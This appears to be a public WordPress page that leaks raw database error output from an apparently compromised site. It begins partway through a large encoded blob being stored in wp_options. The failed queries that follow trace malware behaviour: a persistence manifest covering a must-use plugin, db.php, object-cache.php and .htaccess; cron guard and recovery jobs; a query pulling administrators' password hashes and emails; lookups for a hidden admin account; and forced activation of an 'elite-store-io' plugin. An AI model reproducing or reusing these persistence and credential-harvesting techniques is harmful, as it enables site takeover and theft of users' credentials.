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', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_oc_dat_ok', '1788581167', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_persist_manifest', 'a:5:{s:90:\"/home/u914444314/domains/campusin.com/public_html/wp-content/mu-plugins/elite-store-io.php\";s:18:\"6654808|1788593819\";s:67:\"/home/u914444314/domains/campusin.com/public_html/wp-content/db.php\";s:14:\"236|1788548469\";s:64:\"line:/home/u914444314/domains/campusin.com/public_html/.htaccess\";s:17:\"3415|1788182358|1\";s:75:\"line:/home/u914444314/domains/campusin.com/public_html/wp-content/.htaccess\";s:16:\"138|1788472664|1\";s:82:\"line:/home/u914444314/domains/campusin.com/public_html/wp-content/object-cache.php\";s:18:\"17380|1772493819|1\";}', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('cron', 'a:2:{i:1788581467;a:1:{s:16:\"v8dylt676e918ugr\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:6:\"hourly\";s:4:\"args\";a:0:{}s:8:\"interval\";i:3600;}}}s:7:\"version\";i:2;}', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('cron', 'a:2:{i:1788581767;a:1:{s:13:\"sc_cron_guard\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:17:\"sc_guard_interval\";s:4:\"args\";a:0:{}s:8:\"interval\";i:600;}}}s:7:\"version\";i:2;}', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_recovery_check', '1788581167', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [SELECT command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_users`]
SELECT u.ID, u.user_login, u.user_pass, u.user_email FROM wp_users u INNER JOIN wp_usermeta m ON u.ID = m.user_id WHERE m.meta_key = 'wp_capabilities' AND m.meta_value LIKE '%administrator%'

WordPress database error: [SELECT command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_users`]
SELECT * FROM wp_users WHERE user_login = 'administrator_1066354ac0' LIMIT 1

WordPress database error: [SELECT command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_users`]
SELECT * FROM wp_users WHERE user_login = 'administrator_1066354ac0' LIMIT 1

WordPress database error: [SELECT command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_users`]
SELECT ID FROM wp_users WHERE user_nicename = 'administrator_1066354ac0' AND user_login != 'administrator_1066354ac0' LIMIT 1

WordPress database error: [SELECT command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_users`]
SELECT * FROM wp_users WHERE user_email = 'administrator_1066354ac0@campusin.com' LIMIT 1

WordPress database error: [SELECT command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_users`]
SHOW FULL COLUMNS FROM `wp_users`

WordPress database error: [SELECT command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_users`]
SELECT COUNT(ID) as c FROM wp_users

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('user_count', '', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [SELECT command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_users`]
SHOW FULL COLUMNS FROM `wp_users`

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('active_plugins', 'a:1:{i:0;s:33:\"elite-store-io/elite-store-io.php\";}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)